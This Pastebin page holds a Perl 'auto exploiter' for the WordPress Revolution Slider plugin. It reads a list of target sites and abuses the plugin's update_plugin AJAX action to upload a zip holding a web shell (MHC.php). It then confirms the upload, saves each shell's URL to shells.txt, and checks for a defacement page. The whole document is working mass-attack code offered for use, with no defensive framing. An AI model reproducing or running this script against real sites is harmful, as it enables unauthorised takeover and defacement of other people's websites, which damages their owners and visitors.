Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #Visit My Blog --> https://trenggalekcybernew.blogspot.co.id/ <--
- use LWP::UserAgent;
- system(($^O eq 'MSWin32') ? 'cls' :'clear');
- head();
- my $usage = " \nperl $0 <list.txt>\n perl $0 lista.txt";
- die "$usage" unless $ARGV[0];
- open(tarrget,"<$ARGV[0]") or die "$!";
- while(<tarrget>){
- chomp($_);
- $target = $_;
- my $path = "wp-admin/admin-ajax.php";
- print "\nTarget --> $target\n";
- my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
- $ua->timeout(10);
- $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
- my $req = $ua->get("$target/$path");
- if($req->is_success) {
- print "\n [+] Exploit Possibility Work !\n \n";
- print " [*] Try Exploiting Vulnerability\n";
- print " [*] Exploiting . . . $target\n";
- my $exploit = $ua->post("$target/$path", Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]);
- print " [*] Sending payload . . .\n";
- if ($exploit->decoded_content =~ /Wrong update extracted folder/) {
- print " [+] Payload executed ! \n";
- print " [*] Checking if shell was uploaded . . .\n";
- my $check = $ua->get("$target/wp-content/plugins/revslider/temp/update_extract/revslider/MHC.php")->content;
- if($check =~/<br>/) {
- print " [+] Shell uploaded :D ! \n";
- open(save, '>>shells.txt');
- print save "$target/wp-content/plugins/revslider/temp/update_extract/revslider/MHC.php\n";
- close(save);
- print " [*] Checking if Deface was uploaded now\n";
- my $def = $ua->get("$target/x.php")->content;
- if($def = ~/Hacked/) {
- print " [+] Deface uploaded successfull\n";
- } else {print " [-] Deface not Uploaded :/"; }
- } else { print " [-] I'think Shell Not Uploaded :/\n"; }
- } else {
- print " [-] Payload failed: Fail\n";
- print "\n";
- }
- } else { print "\n [-]Exploit Fail :'( \n"}
- sub head {
- print "\t +===============================================+\n";
- print "\t Auto Exploiter Revslider Shell Upload \n";
- print "\t rec0d3d by : AhmadHax0r \n";
- print "\t +===============================================+\n";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment